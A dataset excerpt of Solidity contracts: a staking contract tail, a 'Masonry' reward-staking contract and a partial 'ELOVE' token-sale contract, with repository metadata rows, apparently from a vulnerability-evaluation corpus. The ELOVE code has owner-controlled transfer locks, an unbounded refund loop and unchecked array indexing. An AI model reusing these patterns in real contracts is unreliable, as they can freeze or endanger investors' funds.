(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsOHM {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract FantohmStaking is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable sOHM;
struct Epoch {
uint length;
uint number;
uint endBlock;
uint distribute;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _OHM,
address _sOHM,
uint _epochLength,
uint _firstEpochNumber,
uint _firstEpochBlock) {
require(_OHM != address(0));
OHM = _OHM;
require(_sOHM != address(0));
sOHM = _sOHM;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endBlock: _firstEpochBlock,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(OHM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsOHM(sOHM).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sOHM).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsOHM(sOHM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsOHM(sOHM).balanceForGons(info.gons));
IERC20(OHM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOHM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OHM).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsOHM(sOHM).index();
}
function rebase() public {
if(epoch.endBlock <= block.number) {
IsOHM(sOHM).rebase(epoch.distribute, epoch.number);
epoch.endBlock = epoch.endBlock.add(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsOHM(sOHM).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(OHM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOHM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOHM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 175,601 | 13,280 |
929b19b39ddf804dcb0de5f20fc812feb6c33d16698f74b634b4523e47a54c34
| 31,820 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/9e/9eDeD6E7A4c455e2Af49a7EDA962d87e1e77323A_Masonry.sol
| 4,870 | 18,672 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ContractGuard {
mapping(uint256 => mapping(address => bool)) private _status;
function checkSameOriginReentranted() internal view returns (bool) {
return _status[block.number][tx.origin];
}
function checkSameSenderReentranted() internal view returns (bool) {
return _status[block.number][msg.sender];
}
modifier onlyOneBlock() {
require(!checkSameOriginReentranted(), "ContractGuard: one block, one function");
require(!checkSameSenderReentranted(), "ContractGuard: one block, one function");
_;
_status[block.number][tx.origin] = true;
_status[block.number][msg.sender] = true;
}
}
interface IBasisAsset {
function mint(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function burnFrom(address from, uint256 amount) external;
function isOperator() external returns (bool);
function operator() external view returns (address);
function transferOperator(address newOperator_) external;
}
interface ITreasury {
function epoch() external view returns (uint256);
function nextEpochPoint() external view returns (uint256);
function getGlobaPrice() external view returns (uint256);
function buyBonds(uint256 amount, uint256 targetPrice) external;
function redeemBonds(uint256 amount, uint256 targetPrice) external;
}
contract ShareWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public share;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
share.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public virtual {
uint256 masonShare = _balances[msg.sender];
require(masonShare >= amount, "Masonry: withdraw request greater than staked amount");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = masonShare.sub(amount);
share.safeTransfer(msg.sender, amount);
}
}
contract Masonry is ShareWrapper, ContractGuard {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Masonseat {
uint256 lastSnapshotIndex;
uint256 rewardEarned;
uint256 epochTimerStart;
}
struct MasonrySnapshot {
uint256 time;
uint256 rewardReceived;
uint256 rewardPerShare;
}
// governance
address public operator;
// flags
bool public initialized = false;
IERC20 public globa;
ITreasury public treasury;
mapping(address => Masonseat) public masons;
MasonrySnapshot[] public masonryHistory;
uint256 public withdrawLockupEpochs;
uint256 public rewardLockupEpochs;
event Initialized(address indexed executor, uint256 at);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardAdded(address indexed user, uint256 reward);
modifier onlyOperator() {
require(operator == msg.sender, "Masonry: caller is not the operator");
_;
}
modifier masonExists {
require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist");
_;
}
modifier updateReward(address mason) {
if (mason != address(0)) {
Masonseat memory seat = masons[mason];
seat.rewardEarned = earned(mason);
seat.lastSnapshotIndex = latestSnapshotIndex();
masons[mason] = seat;
}
_;
}
modifier notInitialized {
require(!initialized, "Masonry: already initialized");
_;
}
function initialize(IERC20 _globa,
IERC20 _share,
ITreasury _treasury) public notInitialized {
globa = _globa;
share = _share;
treasury = _treasury;
MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0});
masonryHistory.push(genesisSnapshot);
withdrawLockupEpochs = 6; // Lock for 6 epochs (36h) before release withdraw
rewardLockupEpochs = 3; // Lock for 3 epochs (18h) before release claimReward
initialized = true;
operator = msg.sender;
emit Initialized(msg.sender, block.number);
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator {
require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week
withdrawLockupEpochs = _withdrawLockupEpochs;
rewardLockupEpochs = _rewardLockupEpochs;
}
// =========== Snapshot getters
function latestSnapshotIndex() public view returns (uint256) {
return masonryHistory.length.sub(1);
}
function getLatestSnapshot() internal view returns (MasonrySnapshot memory) {
return masonryHistory[latestSnapshotIndex()];
}
function getLastSnapshotIndexOf(address mason) public view returns (uint256) {
return masons[mason].lastSnapshotIndex;
}
function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) {
return masonryHistory[getLastSnapshotIndexOf(mason)];
}
function canWithdraw(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch();
}
function canClaimReward(address mason) external view returns (bool) {
return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch();
}
function epoch() external view returns (uint256) {
return treasury.epoch();
}
function nextEpochPoint() external view returns (uint256) {
return treasury.nextEpochPoint();
}
function getGlobaPrice() external view returns (uint256) {
return treasury.getGlobaPrice();
}
// =========== Mason getters
function rewardPerShare() public view returns (uint256) {
return getLatestSnapshot().rewardPerShare;
}
function earned(address mason) public view returns (uint256) {
uint256 latestRPS = getLatestSnapshot().rewardPerShare;
uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare;
return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned);
}
function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot stake 0");
super.stake(amount);
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) {
require(amount > 0, "Masonry: Cannot withdraw 0");
require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup");
claimReward();
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
}
function claimReward() public updateReward(msg.sender) {
uint256 reward = masons[msg.sender].rewardEarned;
if (reward > 0) {
require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup");
masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer
masons[msg.sender].rewardEarned = 0;
globa.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator {
require(amount > 0, "Masonry: Cannot allocate 0");
require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0");
// Create & add new snapshot
uint256 prevRPS = getLatestSnapshot().rewardPerShare;
uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply()));
MasonrySnapshot memory newSnapshot = MasonrySnapshot({
time: block.number,
rewardReceived: amount,
rewardPerShare: nextRPS
});
masonryHistory.push(newSnapshot);
globa.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(msg.sender, amount);
}
function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator {
// do not allow to drain core tokens
require(address(_token) != address(globa), "globa");
require(address(_token) != address(share), "share");
_token.safeTransfer(_to, _amount);
}
}
| 315,718 | 13,281 |
74c3998f2270793d13eceadbc859d9b7f440a153cf2525462a8efa38b65283ee
| 17,226 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x926ec5905d4445701c2d3cc83567b4ffc490e037.sol
| 3,957 | 16,811 |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// EROS token
//
// Symbol : ELOVE
// Name : ELOVE Token for eLOVE Social Network
// Total supply: 200,000,000
// Decimals : 2
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Burn(address indexed burner, uint256 value);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// Borrowed from MiniMeToken
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
contract Owned {
struct Investor {
address sender;
uint amount;
bool kyced;
}
// version of this smart contract
string public version = "1.9";
address public owner;
address public newOwner;
// reward pool wallet, un-sold tokens will be burned to this address
address public rewardPoolWallet;
// List of investors with invested amount in ETH
Investor[] public investors;
mapping(address => uint) public mapInvestors;
mapping(address => bool) public founders;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Give KYC status, so token can be traded by this wallet
function changeKYCStatus(address inv, bool kycStatus) onlyOwner public returns (bool success) {
require(kycStatus == !investors[mapInvestors[inv]-1].kyced);
investors[mapInvestors[inv]-1].kyced = kycStatus;
return true;
}
function setRewardPoolWallet(address rewardWallet) onlyOwner public returns(bool success) {
rewardPoolWallet = rewardWallet;
return true;
}
function isExistInvestor(address inv) public constant returns (bool exist) {
return mapInvestors[inv] != 0;
}
function isExistFounder(address _founder) public constant returns (bool exist) {
return founders[_founder];
}
function removeFounder(address _founder) onlyOwner public returns (bool success) {
require(founders[_founder]);
founders[_founder] = false;
return true;
}
function addFounder(address _founder) onlyOwner public returns (bool success) {
require(!founders[_founder]);
founders[_founder] = true;
return true;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ELOVEToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint minInvest = 0.5 ether;
uint maxInvest = 500 ether;
uint softcap = 5000 ether;
uint hardcap = 40000 ether;
uint public icoStartDate;
uint[4] public roundEnd;
uint[4] public roundTokenLeft;
uint[4] public roundBonus;
uint public tokenLockTime;
uint public tokenFounderLockTime;
bool icoEnded = false;
bool kycCompleted = false;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
uint etherExRate = 2000;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ELOVEToken(string tName, string tSymbol) public {
symbol = tSymbol;
name = tName;
decimals = 2;
_totalSupply = 200000000 * 10**uint(decimals); // 200.000.000 tokens
icoStartDate = 1518566401; // 2018/02/14 00:00:01 AM
// Ending time for each round
// pre-ICO round 1 : ends 28/02/2018, 10M tokens limit, 40% bonus
// pre-ICO round 2 : ends 15/03/2018, 10M tokens limit, 30% bonus
// crowdsale round 1 : ends 15/04/2018, 30M tokens limit, 10% bonus
// crowdsale round 2 : ends 30/04/2018, 30M tokens limit, 0% bonus
roundEnd = [1519862400, 1521158400, 1523836800, 1525132800];
roundTokenLeft = [1000000000, 1000000000, 3000000000, 3000000000];
roundBonus = [40, 30, 10, 0];
// Founder can trade tokens 1 year after ICO ended
tokenFounderLockTime = roundEnd[3] + 365*24*3600;
// Time to lock all ERC20 transfer
tokenLockTime = 1572566400; // 2019/11/01 after 18 months
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
function setRoundEnd(uint round, uint newTime) onlyOwner public returns (bool success) {
require(now<newTime);
if (round>0) {
require(newTime>roundEnd[round-1]);
} else {
require(newTime<roundEnd[1]);
}
roundEnd[round] = newTime;
// If we change ICO ended time, we change also founder trading lock time
if (round == 3) {
tokenFounderLockTime = newTime + 365*24*3600;
}
return true;
}
// refund ETH to non-KYCed investors
function refundNonKYCInvestor() onlyOwner public returns (bool success) {
require(!kycCompleted);
for(uint i = 0; i<investors.length; i++) {
if (!investors[i].kyced) {
investors[i].sender.transfer(investors[i].amount);
investors[i].amount = 0;
}
}
kycCompleted = true;
return true;
}
function setSoftCap(uint newSoftCap) onlyOwner public returns (bool success) {
softcap = newSoftCap;
return true;
}
function setEthExRate(uint newExRate) onlyOwner public returns (bool success) {
etherExRate = newExRate;
return true;
}
function setICOStartTime(uint newTime) onlyOwner public returns (bool success) {
icoStartDate = newTime;
return true;
}
function setLockTime(uint newLockTime) onlyOwner public returns (bool success) {
require(now<newLockTime);
tokenLockTime = newLockTime;
return true;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(icoEnded);
// transaction is in tradable period
require(now<tokenLockTime);
// either
// - is founder and current time > tokenFounderLockTime
// - is not founder but is rewardPoolWallet or sender was kyc-ed
require((founders[msg.sender] && now>tokenFounderLockTime) || (!founders[msg.sender] && (msg.sender == rewardPoolWallet || mapInvestors[msg.sender] == 0 || investors[mapInvestors[msg.sender]-1].kyced)));
// sender either is owner or recipient is not 0x0 address
require(msg.sender == owner || to != 0x0);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(icoEnded);
// either
// - is founder and current time > tokenFounderLockTime
// - is not founder but is rewardPoolWallet or sender was kyc-ed
require((founders[from] && now>tokenFounderLockTime) || (!founders[from] && (from == rewardPoolWallet || investors[mapInvestors[from]-1].kyced)));
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
